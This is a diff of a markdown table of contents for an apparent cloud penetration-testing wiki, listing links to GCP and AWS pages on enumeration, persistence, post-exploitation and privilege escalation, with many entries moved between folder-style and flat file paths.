- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
@@ -224,139 +216,109 @@
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
- [AWS Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
- [AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
- [AWS Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
- [AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
@@ -373,7 +335,6 @@
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
@@ -384,7 +345,7 @@
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
